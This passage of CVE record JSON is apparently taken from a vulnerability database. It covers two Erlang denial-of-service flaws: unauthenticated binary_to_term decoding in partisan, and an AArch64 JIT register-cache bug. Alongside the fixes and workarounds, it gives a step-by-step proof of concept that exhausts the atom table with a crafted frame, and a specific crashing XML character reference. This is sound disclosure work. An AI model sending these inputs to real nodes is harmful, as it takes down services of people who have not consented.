          ],
          "dateAssigned": "2026-11-10T11:01:31.000Z",
          "datePublic": "2026-11-24T18:07:15.000Z",
          "descriptions": [
            {
              "lang": "en",
              "supportingMedia": [
                {
                  "base64": false,
                  "type": "text/html",
                  "value": "\u003cp\u003eDeserialization of Untrusted Data vulnerability in lasp-lang partisan allows an unauthenticated remote attacker to abort the Erlang VM of a node via Excessive Allocation. \u003ccode\u003epartisan_peer_service_server:handle_info/2\u003c/code\u003e decodes every frame that arrives on the peer listener with \u003ccode\u003ebinary_to_term/1\u003c/code\u003e, without the \u003ccode\u003esafe\u003c/code\u003e option, before \u003ccode\u003ehandle_inbound/2\u003c/code\u003e interprets the message and before any peer authentication takes place. TLS is off by default and the listener accepts connections from any host, so one frame that names more atoms than the atom table holds aborts the VM. \u003ccode\u003epartisan_peer_service_client:handle_info/2\u003c/code\u003e decodes frames from the server side of a connection the same way.\u003c/p\u003e\n\u003cp\u003eThe decode also materializes funs, ports and references the frame encodes and inflates compressed terms. The demonstrated impact is denial of service. partisan does not invoke decoded funs, so code execution was not shown.\u003c/p\u003e\n\u003cp\u003eThis issue affects partisan: from 3.0.0 before 6.4.0.\u003c/p\u003e"
                },
                {
                  "base64": false,
                  "type": "text/markdown",
                  "value": "Deserialization of Untrusted Data vulnerability in lasp-lang partisan allows an unauthenticated remote attacker to abort the Erlang VM of a node via Excessive Allocation. `partisan_peer_service_server:handle_info/2` decodes every frame that arrives on the peer listener with `binary_to_term/1`, without the `safe` option, before `handle_inbound/2` interprets the message and before any peer authentication takes place. TLS is off by default and the listener accepts connections from any host, so one frame that names more atoms than the atom table holds aborts the VM. `partisan_peer_service_client:handle_info/2` decodes frames from the server side of a connection the same way.\n\nThe decode also materializes funs, ports and references the frame encodes and inflates compressed terms. The demonstrated impact is denial of service. partisan does not invoke decoded funs, so code execution was not shown.\n\nThis issue affects partisan: from 3.0.0 before 6.4.0."
                }
              ],
              "value": "Deserialization of Untrusted Data vulnerability in lasp-lang partisan allows an unauthenticated remote attacker to abort the Erlang VM of a node via Excessive Allocation. partisan_peer_service_server:handle_info/2 decodes every frame that arrives on the peer listener with binary_to_term/1, without the safe option, before handle_inbound/2 interprets the message and before any peer authentication takes place. TLS is off by default and the listener accepts connections from any host, so one frame that names more atoms than the atom table holds aborts the VM. partisan_peer_service_client:handle_info/2 decodes frames from the server side of a connection the same way.\n\nThe decode also materializes funs, ports and references the frame encodes and inflates compressed terms. The demonstrated impact is denial of service. partisan does not invoke decoded funs, so code execution was not shown.\n\nThis issue affects partisan: from 3.0.0 before 6.4.0."
            }
          ],
          "impacts": [
            {
              "capecId": "CAPEC-130",
              "descriptions": [
                {
                  "lang": "en",
                  "supportingMedia": [
                    {
                      "base64": false,
                      "type": "text/html",
                      "value": "\u003cp\u003eAny host that can open a TCP connection to the peer port stops the node with one frame, with no credentials and no cluster membership. The abort happens at VM level, so supervision trees cannot recover it, and every application running in that node goes down with partisan.\u003c/p\u003e"
                    },
                    {
                      "base64": false,
                      "type": "text/markdown",
                      "value": "Any host that can open a TCP connection to the peer port stops the node with one frame, with no credentials and no cluster membership. The abort happens at VM level, so supervision trees cannot recover it, and every application running in that node goes down with partisan."
                    }
                  ],
                  "value": "Any host that can open a TCP connection to the peer port stops the node with one frame, with no credentials and no cluster membership. The abort happens at VM level, so supervision trees cannot recover it, and every application running in that node goes down with partisan."
                }
              ]
            }
          ],
          "metrics": [
            {
              "cvssV4_0": {
                "Automatable": "NOT_DEFINED",
                "Recovery": "NOT_DEFINED",
                "Safety": "NOT_DEFINED",
                "attackComplexity": "LOW",
                "attackRequirements": "NONE",
                "attackVector": "NETWORK",
                "baseScore": 8.7,
                "baseSeverity": "HIGH",
                "privilegesRequired": "NONE",
                "providerUrgency": "NOT_DEFINED",
                "subAvailabilityImpact": "NONE",
                "subConfidentialityImpact": "NONE",
                "subIntegrityImpact": "NONE",
                "userInteraction": "NONE",
                "valueDensity": "NOT_DEFINED",
                "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
                "version": "4.0",
                "vulnAvailabilityImpact": "HIGH",
                "vulnConfidentialityImpact": "NONE",
                "vulnIntegrityImpact": "NONE",
                "vulnerabilityResponseEffort": "NOT_DEFINED"
              },
              "format": "CVSS",
              "scenarios": [
                {
                  "lang": "en",
                  "value": "GENERAL"
                }
              ]
            }
          ],
          "problemTypes": [
            {
              "descriptions": [
                {
                  "cweId": "CWE-502",
                  "description": "CWE-502 Deserialization of Untrusted Data",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            }
          ],
          "providerMetadata": {
            "dateUpdated": "2026-11-25T04:42:17.564Z",
            "orgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
            "shortName": "EEF"
          },
          "references": [
            {
              "name": "partisan decodes peer-plane frames with binary_to_term before authentication, allowing a remote VM abort",
              "tags": [
                "vendor-advisory",
                "related"
              ],
              "url": "https://github.com/lasp-lang/partisan/security/advisories/GHSA-38p4-3gp9-mfx9"
            },
            {
              "name": "EEF CNA record for CVE-2026-118898",
              "tags": [
                "related"
              ],
              "url": "https://cna.erlef.org/cves/CVE-2026-118898.html"
            },
            {
              "name": "OSV record EEF-CVE-2026-118898",
              "tags": [
                "related"
              ],
              "url": "https://osv.dev/vulnerability/EEF-CVE-2026-118898"
            },
            {
              "name": "Introducing commit 0431446 in lasp-lang/partisan",
              "tags": [
                "related"
              ],
              "url": "https://github.com/lasp-lang/partisan/commit/04314463df1d3cb213c7a07beb60bf7af3389dfc"
            },
            {
              "name": "Fix commit 5c75b33 in lasp-lang/partisan",
              "tags": [
                "patch"
              ],
              "url": "https://github.com/lasp-lang/partisan/commit/5c75b3368620ef9f7f07af5e7f70ade95030fe92"
            }
          ],
          "solutions": [
            {
              "lang": "en",
              "supportingMedia": [
                {
                  "base64": false,
                  "type": "text/html",
                  "value": "\u003cp\u003eThe fixed release adds peer authentication and leaves it off by default (\u003ccode\u003epeer_auth_methods\u003c/code\u003e is \u003ccode\u003e[]\u003c/code\u003e). A node stays exposed until the option is set.\u003c/p\u003e\n\u003cp\u003eSet \u003ccode\u003epeer_auth_methods\u003c/code\u003e on every node to a list of \u003ccode\u003ecryptosign\u003c/code\u003e, \u003ccode\u003egossip_keyring\u003c/code\u003e or \u003ccode\u003ehmac_secret\u003c/code\u003e without \u003ccode\u003eanonymous\u003c/code\u003e, with the trust material of each listed method (\u003ccode\u003epeer_auth_cryptosign\u003c/code\u003e, \u003ccode\u003epeer_auth_keyring\u003c/code\u003e, \u003ccode\u003epeer_auth_secret\u003c/code\u003e). The node then accepts only authentication frames of at most 4096 bytes from a peer that has not authenticated, and reads them without \u003ccode\u003ebinary_to_term/1\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003eA node on an earlier release cannot connect to a node that requires authentication. Set the option on all nodes with \u003ccode\u003eanonymous\u003c/code\u003e at the end of the list, then remove \u003ccode\u003eanonymous\u003c/code\u003e. Peer authentication does not encrypt or sign later traffic, so use it over TLS 1.3 on a network that is not trusted.\u003c/p\u003e"
                },
                {
                  "base64": false,
                  "type": "text/markdown",
                  "value": "The fixed release adds peer authentication and leaves it off by default (`peer_auth_methods` is `[]`). A node stays exposed until the option is set.\n\nSet `peer_auth_methods` on every node to a list of `cryptosign`, `gossip_keyring` or `hmac_secret` without `anonymous`, with the trust material of each listed method (`peer_auth_cryptosign`, `peer_auth_keyring`, `peer_auth_secret`). The node then accepts only authentication frames of at most 4096 bytes from a peer that has not authenticated, and reads them without `binary_to_term/1`.\n\nA node on an earlier release cannot connect to a node that requires authentication. Set the option on all nodes with `anonymous` at the end of the list, then remove `anonymous`. Peer authentication does not encrypt or sign later traffic, so use it over TLS 1.3 on a network that is not trusted."
                }
              ],
              "value": "The fixed release adds peer authentication and leaves it off by default (peer_auth_methods is []). A node stays exposed until the option is set.\n\nSet peer_auth_methods on every node to a list of cryptosign, gossip_keyring or hmac_secret without anonymous, with the trust material of each listed method (peer_auth_cryptosign, peer_auth_keyring, peer_auth_secret). The node then accepts only authentication frames of at most 4096 bytes from a peer that has not authenticated, and reads them without binary_to_term/1.\n\nA node on an earlier release cannot connect to a node that requires authentication. Set the option on all nodes with anonymous at the end of the list, then remove anonymous. Peer authentication does not encrypt or sign later traffic, so use it over TLS 1.3 on a network that is not trusted."
            }
          ],
          "source": {
            "discovery": "EXTERNAL"
          },
          "title": "partisan decodes peer-plane frames with binary_to_term before authentication, allowing a remote VM abort",
          "workarounds": [
            {
              "lang": "en",
              "supportingMedia": [
                {
                  "base64": false,
                  "type": "text/html",
                  "value": "\u003cp\u003eEnable mutual TLS on the peer plane. Set \u003ccode\u003etls\u003c/code\u003e to \u003ccode\u003etrue\u003c/code\u003e and give \u003ccode\u003etls_server_options\u003c/code\u003e a cluster CA in \u003ccode\u003ecacertfile\u003c/code\u003e together with \u003ccode\u003e{verify, verify_peer}\u003c/code\u003e and \u003ccode\u003e{fail_if_no_peer_cert, true}\u003c/code\u003e, and give \u003ccode\u003etls_client_options\u003c/code\u003e the same CA with \u003ccode\u003e{verify, verify_peer}\u003c/code\u003e. The server then rejects a connection during the handshake unless the client presents a certificate the cluster CA issued, so the decode is only reachable by cluster members. Server-only TLS, or \u003ccode\u003everify_none\u003c/code\u003e, does not help.\u003c/p\u003e\n\u003cp\u003eWhere TLS cannot be enabled, restrict the peer listener port to trusted hosts with a host firewall or a private network segment.\u003c/p\u003e"
                },
                {
                  "base64": false,
                  "type": "text/markdown",
                  "value": "Enable mutual TLS on the peer plane. Set `tls` to `true` and give `tls_server_options` a cluster CA in `cacertfile` together with `{verify, verify_peer}` and `{fail_if_no_peer_cert, true}`, and give `tls_client_options` the same CA with `{verify, verify_peer}`. The server then rejects a connection during the handshake unless the client presents a certificate the cluster CA issued, so the decode is only reachable by cluster members. Server-only TLS, or `verify_none`, does not help.\n\nWhere TLS cannot be enabled, restrict the peer listener port to trusted hosts with a host firewall or a private network segment."
                }
              ],
              "value": "Enable mutual TLS on the peer plane. Set tls to true and give tls_server_options a cluster CA in cacertfile together with {verify, verify_peer} and {fail_if_no_peer_cert, true}, and give tls_client_options the same CA with {verify, verify_peer}. The server then rejects a connection during the handshake unless the client presents a certificate the cluster CA issued, so the decode is only reachable by cluster members. Server-only TLS, or verify_none, does not help.\n\nWhere TLS cannot be enabled, restrict the peer listener port to trusted hosts with a host firewall or a private network segment."
            }
          ],
          "x_proofOfConcept": [
            {
              "lang": "en",
              "supportingMedia": [
                {
                  "base64": false,
                  "type": "text/html",
                  "value": "\u003col\u003e\n\u003cli\u003eStart partisan with its default configuration, so \u003ccode\u003etls\u003c/code\u003e is \u003ccode\u003efalse\u003c/code\u003e, and let the peer listener bind to \u003ccode\u003e127.0.0.1:12345\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eFrom a plain TCP socket opened with \u003ccode\u003e{packet, 4}\u003c/code\u003e, send one frame holding the External Term Format of a list of 100,000 atoms the node has never seen (tag 131, \u003ccode\u003eLIST_EXT\u003c/code\u003e, 100,000 \u003ccode\u003eSMALL_ATOM_UTF8_EXT\u003c/code\u003e elements, \u003ccode\u003eNIL_EXT\u003c/code\u003e).\u003c/li\u003e\n\u003cli\u003eRead \u003ccode\u003eerlang:system_info(atom_count)\u003c/code\u003e before and after. The count rises by 100,001 and the sample atoms resolve with \u003ccode\u003ebinary_to_term(_, [safe])\u003c/code\u003e, so the server interned them before any message interpretation or authentication. A frame naming more than 1,048,576 atoms, within the 64 MB default frame cap, aborts the VM.\u003c/li\u003e\n\u003c/ol\u003e"
                },
                {
                  "base64": false,
                  "type": "text/markdown",
                  "value": "1. Start partisan with its default configuration, so `tls` is `false`, and let the peer listener bind to `127.0.0.1:12345`.\n2. From a plain TCP socket opened with `{packet, 4}`, send one frame holding the External Term Format of a list of 100,000 atoms the node has never seen (tag 131, `LIST_EXT`, 100,000 `SMALL_ATOM_UTF8_EXT` elements, `NIL_EXT`).\n3. Read `erlang:system_info(atom_count)` before and after. The count rises by 100,001 and the sample atoms resolve with `binary_to_term(_, [safe])`, so the server interned them before any message interpretation or authentication. A frame naming more than 1,048,576 atoms, within the 64 MB default frame cap, aborts the VM."
                }
              ],
              "value": "* Start partisan with its default configuration, so tls is false, and let the peer listener bind to 127.0.0.1:12345.\n* From a plain TCP socket opened with {packet, 4}, send one frame holding the External Term Format of a list of 100,000 atoms the node has never seen (tag 131, LIST_EXT, 100,000 SMALL_ATOM_UTF8_EXT elements, NIL_EXT).\n* Read erlang:system_info(atom_count) before and after. The count rises by 100,001 and the sample atoms resolve with binary_to_term(_, [safe]), so the server interned them before any message interpretation or authentication. A frame naming more than 1,048,576 atoms, within the 64 MB default frame cap, aborts the VM."
            }
          ],
          "x_technicalAnalysis": [
            {
              "lang": "en",
              "supportingMedia": [
                {
                  "base64": false,
                  "type": "text/html",
                  "value": "\u003cp\u003e\u003cstrong\u003e1. Listener.\u003c/strong\u003e \u003ccode\u003epartisan_acceptor_socket\u003c/code\u003e opens the peer port with \u003ccode\u003e{packet, 4}\u003c/code\u003e framing and a \u003ccode\u003epacket_size\u003c/code\u003e of \u003ccode\u003emax_message_size\u003c/code\u003e (64 MB by default). The cap bounds bytes per frame, not the term a frame decodes to. With \u003ccode\u003etls\u003c/code\u003e unset the socket is plain TCP, and the listener binds to the node\u0027s host address unless \u003ccode\u003elisten_addrs\u003c/code\u003e says otherwise.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e2. Greeting.\u003c/strong\u003e \u003ccode\u003epartisan_peer_service_server:acceptor_continue/3\u003c/code\u003e accepts the socket, sends \u003ccode\u003e{hello, Node}\u003c/code\u003e unprompted and enters a \u003ccode\u003egen_server\u003c/code\u003e loop. No cookie, shared secret or certificate check happens here.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e3. Unsafe decode.\u003c/strong\u003e The first frame reaches \u003ccode\u003epartisan_peer_service_server:handle_info/2\u003c/code\u003e, which calls \u003ccode\u003ebinary_to_term(Data)\u003c/code\u003e with no \u003ccode\u003esafe\u003c/code\u003e option. The BIF interns every atom in the frame, builds every fun, port and reference, and inflates a compressed term, all before \u003ccode\u003ehandle_inbound/2\u003c/code\u003e sees the result. A frame that names more atoms than the atom table holds aborts the VM at this step.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e4. Client side.\u003c/strong\u003e \u003ccode\u003epartisan_peer_service_client:handle_info/2\u003c/code\u003e decodes frames from the server end of a connection with the same call, so a node that connects to a hostile peer is exposed the same way.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e5. TLS.\u003c/strong\u003e Enabling \u003ccode\u003etls\u003c/code\u003e wraps the socket but does not authenticate the peer unless both sides set \u003ccode\u003e{verify, verify_peer}\u003c/code\u003e with a cluster CA. Server-only TLS still lets any client that completes the handshake reach the decode.\u003c/p\u003e"
                },
                {
                  "base64": false,
                  "type": "text/markdown",
                  "value": "**1. Listener.** `partisan_acceptor_socket` opens the peer port with `{packet, 4}` framing and a `packet_size` of `max_message_size` (64 MB by default). The cap bounds bytes per frame, not the term a frame decodes to. With `tls` unset the socket is plain TCP, and the listener binds to the node\u0027s host address unless `listen_addrs` says otherwise.\n\n**2. Greeting.** `partisan_peer_service_server:acceptor_continue/3` accepts the socket, sends `{hello, Node}` unprompted and enters a `gen_server` loop. No cookie, shared secret or certificate check happens here.\n\n**3. Unsafe decode.** The first frame reaches `partisan_peer_service_server:handle_info/2`, which calls `binary_to_term(Data)` with no `safe` option. The BIF interns every atom in the frame, builds every fun, port and reference, and inflates a compressed term, all before `handle_inbound/2` sees the result. A frame that names more atoms than the atom table holds aborts the VM at this step.\n\n**4. Client side.** `partisan_peer_service_client:handle_info/2` decodes frames from the server end of a connection with the same call, so a node that connects to a hostile peer is exposed the same way.\n\n**5. TLS.** Enabling `tls` wraps the socket but does not authenticate the peer unless both sides set `{verify, verify_peer}` with a cluster CA. Server-only TLS still lets any client that completes the handshake reach the decode."
                }
              ],
              "value": "1. Listener. partisan_acceptor_socket opens the peer port with {packet, 4} framing and a packet_size of max_message_size (64 MB by default). The cap bounds bytes per frame, not the term a frame decodes to. With tls unset the socket is plain TCP, and the listener binds to the node\u0027s host address unless listen_addrs says otherwise.\n\n2. Greeting. partisan_peer_service_server:acceptor_continue/3 accepts the socket, sends {hello, Node} unprompted and enters a gen_server loop. No cookie, shared secret or certificate check happens here.\n\n3. Unsafe decode. The first frame reaches partisan_peer_service_server:handle_info/2, which calls binary_to_term(Data) with no safe option. The BIF interns every atom in the frame, builds every fun, port and reference, and inflates a compressed term, all before handle_inbound/2 sees the result. A frame that names more atoms than the atom table holds aborts the VM at this step.\n\n4. Client side. partisan_peer_service_client:handle_info/2 decodes frames from the server end of a connection with the same call, so a node that connects to a hostile peer is exposed the same way.\n\n5. TLS. Enabling tls wraps the socket but does not authenticate the peer unless both sides set {verify, verify_peer} with a cluster CA. Server-only TLS still lets any client that completes the handshake reach the decode."
            }
          ]
        }
      },
      "cveMetadata": {
        "assignerOrgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
        "assignerShortName": "EEF",
        "cveId": "CVE-2026-118898",
        "datePublished": "2026-11-25T04:42:17.564Z",
        "dateReserved": "2026-11-09T23:11:55.649Z",
        "dateUpdated": "2026-11-25T04:42:17.564Z",
        "state": "PUBLISHED"
      },
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }

    CVE-2026-115747 (GCVE-0-2026-115747)

    Vulnerability from cvelistv5 – Published: 2026-11-24 15:29 – Updated: 2026-11-24 16:26
    VLAI
    Title
    AArch64 JIT register-cache bug allows VM denial of service via XML
    Summary
    Improper Restriction of Operations within the Bounds of a Memory Buffer vulnerability in the AArch64 JIT in Erlang OTP erts allows an attacker to crash the BEAM virtual machine via input that reaches a chained integer range guard, such as an oversized numeric character reference parsed by xmerl_sax_parser. In erts/emulator/beam/jit/arm/instr_common.cpp, BeamModuleAssembler::emit_is_ge_lt wraps its generated code in preserve_cache and marks only TMP1 as clobbered. When the compared value is not a small integer, the generated code calls the shared fragment is_ge_lt_shared, which also overwrites ARG1 and other caller-saved registers. The register cache keeps stale entries, so later instructions may use a clobbered register as an Erlang term and the emulator dies with a segmentation fault. A reference such as &#576460752303423488; takes this path in the ?is_char guard of the SAX parser. Only AArch64 builds that run the JIT are affected. The x86-64 JIT and interpreter builds do not contain the faulty code. This issue affects OTP from OTP 27.0 before OTP 27.3.4.20, OTP 28.5.0.9, and OTP 29.1.3, corresponding to erts from 15.0 before 15.2.7.15, 16.4.0.8, and 17.1.2.
    SSVC
    Exploitation: poc Automatable: no Technical Impact: partial
    CISA Coordinator · CISA-ADP (v2.0.3)
    Decision recorded 2026-11-24 16:26 UTC
    CWE
    • CWE-119 - Improper Restriction of Operations within the Bounds of a Memory Buffer
    Assigner
    EEF CNA under the mitre root
    CNA scorecard A 97/100 over 376 records in the last 180 days details
    Impacted products
    Vendor Product Version
    Erlang OTP Affected: 15.0 , < * (otp)
        cpe:2.3:a:erlang:erlang\/otp:*:*:*:*:*:*:*:*
    Create a notification for this product.
    Erlang OTP Affected: 27.0 , < * (otp)
        cpe:2.3:a:erlang:erlang\/otp:*:*:*:*:*:*:*:*
    Create a notification for this product.
    Erlang OTP Affected: 06d402a75078150963b75518ce271582bbb94897 , < * (git)
        cpe:2.3:a:erlang:erlang\/otp:*:*:*:*:*:*:*:*
    Create a notification for this product.
    Date Public
    2026-11-24 15:29
    Show details on NVD website

    {
      "containers": {
        "adp": [
          {
            "metrics": [
              {
                "other": {
                  "content": {
                    "id": "CVE-2026-115747",
                    "options": [
                      {
                        "Exploitation": "poc"
                      },
                      {
                        "Automatable": "no"
                      },
                      {
                        "Technical Impact": "partial"
                      }
                    ],
                    "role": "CISA Coordinator",
                    "timestamp": "2026-11-24T16:26:45.780726Z",
                    "version": "2.0.3"
                  },
                  "type": "ssvc"
                }
              }
            ],
            "providerMetadata": {
              "dateUpdated": "2026-11-24T16:26:57.801Z",
              "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "shortName": "CISA-ADP"
            },
            "references": [
              {
                "tags": [
                  "exploit"
                ],
                "url": "https://cna.erlef.org/cves/CVE-2026-115747.html"
              },
              {
                "tags": [
                  "exploit"
                ],
                "url": "https://osv.dev/vulnerability/EEF-CVE-2026-115747"
              }
            ],
            "title": "CISA ADP Vulnrichment"
          }
        ],
        "cna": {
          "affected": [
            {
              "cpes": [
                "cpe:2.3:a:erlang:erlang\\/otp:*:*:*:*:*:*:*:*"
              ],
              "defaultStatus": "unaffected",
              "modules": [
                "erts"
              ],
              "packageName": "erts",
              "packageURL": "pkg:otp/erts?repository_url=https:%2F%2Fgithub.com%2Ferlang%2Fotp\u0026vcs_url=git%2Bhttps:%2F%2Fgithub.com%2Ferlang%2Fotp.git",
              "product": "OTP",
              "programFiles": [
                "emulator/beam/jit/arm/instr_common.cpp"
              ],
              "programRoutines": [
                {
                  "name": "BeamModuleAssembler::emit_is_ge_lt"
                },
                {
                  "name": "BeamGlobalAssembler::emit_is_ge_lt_shared"
                }
              ],
              "repo": "https://github.com/erlang/otp",
              "vendor": "Erlang",
              "versions": [
                {
                  "changes": [
                    {
                      "at": "15.2.7.15",
                      "status": "unaffected"
                    },
                    {
                      "at": "16.4.0.8",
                      "status": "unaffected"
                    },
                    {
                      "at": "17.1.2",
                      "status": "unaffected"
                    }
                  ],
                  "lessThan": "*",
                  "status": "affected",
                  "version": "15.0",
                  "versionType": "otp"
                }
              ]
            },
            {
              "cpes": [
                "cpe:2.3:a:erlang:erlang\\/otp:*:*:*:*:*:*:*:*"
              ],
              "defaultStatus": "unaffected",
              "modules": [
                "erts"
              ],
              "packageName": "otp",
              "packageURL": "pkg:software-id/erlang.org/otp",
              "product": "OTP",
              "programFiles": [
                "erts/emulator/beam/jit/arm/instr_common.cpp"
              ],
              "programRoutines": [
                {
                  "name": "BeamModuleAssembler::emit_is_ge_lt"
                },
                {
                  "name": "BeamGlobalAssembler::emit_is_ge_lt_shared"
                }
              ],
              "vendor": "Erlang",
              "versions": [
                {
                  "changes": [
                    {
                      "at": "27.3.4.20",
                      "status": "unaffected"
                    },
                    {
                      "at": "28.5.0.9",
                      "status": "unaffected"
                    },
                    {
                      "at": "29.1.3",
                      "status": "unaffected"
                    }
                  ],
                  "lessThan": "*",
                  "status": "affected",
                  "version": "27.0",
                  "versionType": "otp"
                }
              ]
            },
            {
              "collectionURL": "https://github.com",
              "cpes": [
                "cpe:2.3:a:erlang:erlang\\/otp:*:*:*:*:*:*:*:*"
              ],
              "defaultStatus": "unaffected",
              "modules": [
                "erts"
              ],
              "packageName": "erlang/otp",
              "packageURL": "pkg:github/erlang/otp",
              "product": "OTP",
              "programFiles": [
                "erts/emulator/beam/jit/arm/instr_common.cpp"
              ],
              "programRoutines": [
                {
                  "name": "BeamModuleAssembler::emit_is_ge_lt"
                },
                {
                  "name": "BeamGlobalAssembler::emit_is_ge_lt_shared"
                }
              ],
              "repo": "https://github.com/erlang/otp",
              "vendor": "Erlang",
              "versions": [
                {
                  "changes": [
                    {
                      "at": "043d119950d8de1975a8a507e424d87cf765fbab",
                      "status": "unaffected"
                    },
                    {
                      "at": "62c26d132760569a2ac098ce144de2aed4daa548",
                      "status": "unaffected"
                    },
                    {
                      "at": "841017c3c85cba30181e7e344e5b16dc0bc25c3b",
                      "status": "unaffected"
                    }
                  ],
                  "lessThan": "*",
                  "status": "affected",
                  "version": "06d402a75078150963b75518ce271582bbb94897",
                  "versionType": "git"
                }
              ]
            }
          ],
          "configurations": [
            {
              "lang": "en",
              "supportingMedia": [
                {
                  "base64": false,
                  "type": "text/html",
                  "value": "\u003cp\u003eOnly AArch64 (ARM64) runtimes that execute the JIT are affected; \u003ccode\u003eerlang:system_info(emu_flavor)\u003c/code\u003e returns \u003ccode\u003ejit\u003c/code\u003e on such a node. The x86-64 JIT, interpreter builds (\u003ccode\u003eemu\u003c/code\u003e flavor) and 32-bit platforms do not run the affected code. The demonstrated path requires an application to pass attacker-controlled XML to \u003ccode\u003exmerl_sax_parser\u003c/code\u003e, but other Erlang code that compiles to the same chained range guard over a non-small integer can reach the same defect.\u003c/p\u003e"
                },
                {
                  "base64": false,
                  "type": "text/markdown",
                  "value": "Only AArch64 (ARM64) runtimes that execute the JIT are affected; `erlang:system_info(emu_flavor)` returns `jit` on such a node. The x86-64 JIT, interpreter builds (`emu` flavor) and 32-bit platforms do not run the affected code. The demonstrated path requires an application to pass attacker-controlled XML to `xmerl_sax_parser`, but other Erlang code that compiles to the same chained range guard over a non-small integer can reach the same defect."
                }
              ],
              "value": "Only AArch64 (ARM64) runtimes that execute the JIT are affected; erlang:system_info(emu_flavor) returns jit on such a node. The x86-64 JIT, interpreter builds (emu flavor) and 32-bit platforms do not run the affected code. The demonstrated path requires an application to pass attacker-controlled XML to xmerl_sax_parser, but other Erlang code that compiles to the same chained range guard over a non-small integer can reach the same defect."
            }
          ],
          "cpeApplicability": [
            {
              "nodes": [
                {
                  "cpeMatch": [
                    {
                      "criteria": "cpe:2.3:a:erlang:erlang\\/otp:*:*:*:*:*:*:*:*",
                      "versionEndExcluding": "27.3.4.20",
                      "versionStartIncluding": "27.0",
                      "vulnerable": true
                    },
                    {
                      "criteria": "cpe:2.3:a:erlang:erlang\\/otp:*:*:*:*:*:*:*:*",
                      "versionEndExcluding": "28.5.0.9",
                      "versionStartIncluding": "28.0",
                      "vulnerable": true
                    },
                    {
                      "criteria": "cpe:2.3:a:erlang:erlang\\/otp:*:*:*:*:*:*:*:*",
                      "versionEndExcluding": "29.1.3",
                      "versionStartIncluding": "29.0",
                      "vulnerable": true
                    }
                  ],
                  "negate": false,
                  "operator": "OR"
                }
              ],
              "operator": "AND"
            }
          ],
          "credits": [
            {
              "lang": "en",
              "type": "finder",
              "value": "Felix Jankowski / Jankowski Engineering GmbH"
            },
            {
              "lang": "en",
              "type": "finder",
              "value": "IlYoung"
            },
            {
              "lang": "en",
              "type": "reporter",
              "value": "Felix Jankowski / Jankowski Engineering GmbH"
            },
            {
              "lang": "en",
              "type": "reporter",
              "value": "IlYoung"
            },
            {
              "lang": "en",
              "type": "coordinator",
              "value": "Jonatan M\u00e4nnchen / EEF"
            },
            {
              "lang": "en",
              "type": "remediation developer",
              "value": "Felix Jankowski / Jankowski Engineering GmbH"
            },
            {
              "lang": "en",
              "type": "remediation reviewer",
              "value": "Josu\u00e9 Olmos"
            }
          ],
          "dateAssigned": "2026-10-26T17:14:29.000Z",
          "datePublic": "2026-11-24T15:29:05.000Z",
          "descriptions": [
            {
              "lang": "en",
              "supportingMedia": [
                {
                  "base64": false,
                  "type": "text/html",
                  "value": "\u003cp\u003eImproper Restriction of Operations within the Bounds of a Memory Buffer vulnerability in the AArch64 JIT in Erlang OTP erts allows an attacker to crash the BEAM virtual machine via input that reaches a chained integer range guard, such as an oversized numeric character reference parsed by \u003ccode\u003exmerl_sax_parser\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003eIn \u003ccode\u003eerts/emulator/beam/jit/arm/instr_common.cpp\u003c/code\u003e, \u003ccode\u003eBeamModuleAssembler::emit_is_ge_lt\u003c/code\u003e wraps its generated code in \u003ccode\u003epreserve_cache\u003c/code\u003e and marks only \u003ccode\u003eTMP1\u003c/code\u003e as clobbered. When the compared value is not a small integer, the generated code calls the shared fragment \u003ccode\u003eis_ge_lt_shared\u003c/code\u003e, which also overwrites \u003ccode\u003eARG1\u003c/code\u003e and other caller-saved registers. The register cache keeps stale entries, so later instructions may use a clobbered register as an Erlang term and the emulator dies with a segmentation fault. A reference such as \u003ccode\u003e\u0026amp;#576460752303423488;\u003c/code\u003e takes this path in the \u003ccode\u003e?is_char\u003c/code\u003e guard of the SAX parser. Only AArch64 builds that run the JIT are affected. The x86-64 JIT and interpreter builds do not contain the faulty code.\u003c/p\u003e\n\u003cp\u003eThis issue affects OTP from OTP\u0026nbsp;27.0 before OTP\u0026nbsp;27.3.4.20, OTP\u0026nbsp;28.5.0.9, and OTP\u0026nbsp;29.1.3, corresponding to erts from 15.0 before 15.2.7.15, 16.4.0.8, and 17.1.2.\u003c/p\u003e"
                },
                {
                  "base64": false,
                  "type": "text/markdown",
                  "value": "Improper Restriction of Operations within the Bounds of a Memory Buffer vulnerability in the AArch64 JIT in Erlang OTP erts allows an attacker to crash the BEAM virtual machine via input that reaches a chained integer range guard, such as an oversized numeric character reference parsed by `xmerl_sax_parser`.\n\nIn `erts/emulator/beam/jit/arm/instr_common.cpp`, `BeamModuleAssembler::emit_is_ge_lt` wraps its generated code in `preserve_cache` and marks only `TMP1` as clobbered. When the compared value is not a small integer, the generated code calls the shared fragment `is_ge_lt_shared`, which also overwrites `ARG1` and other caller-saved registers. The register cache keeps stale entries, so later instructions may use a clobbered register as an Erlang term and the emulator dies with a segmentation fault. A reference such as `\u0026#576460752303423488;` takes this path in the `?is_char` guard of the SAX parser. Only AArch64 builds that run the JIT are affected. The x86-64 JIT and interpreter builds do not contain the faulty code.\n\nThis issue affects OTP from OTP\u00a027.0 before OTP\u00a027.3.4.20, OTP\u00a028.5.0.9, and OTP\u00a029.1.3, corresponding to erts from 15.0 before 15.2.7.15, 16.4.0.8, and 17.1.2."
                }
              ],
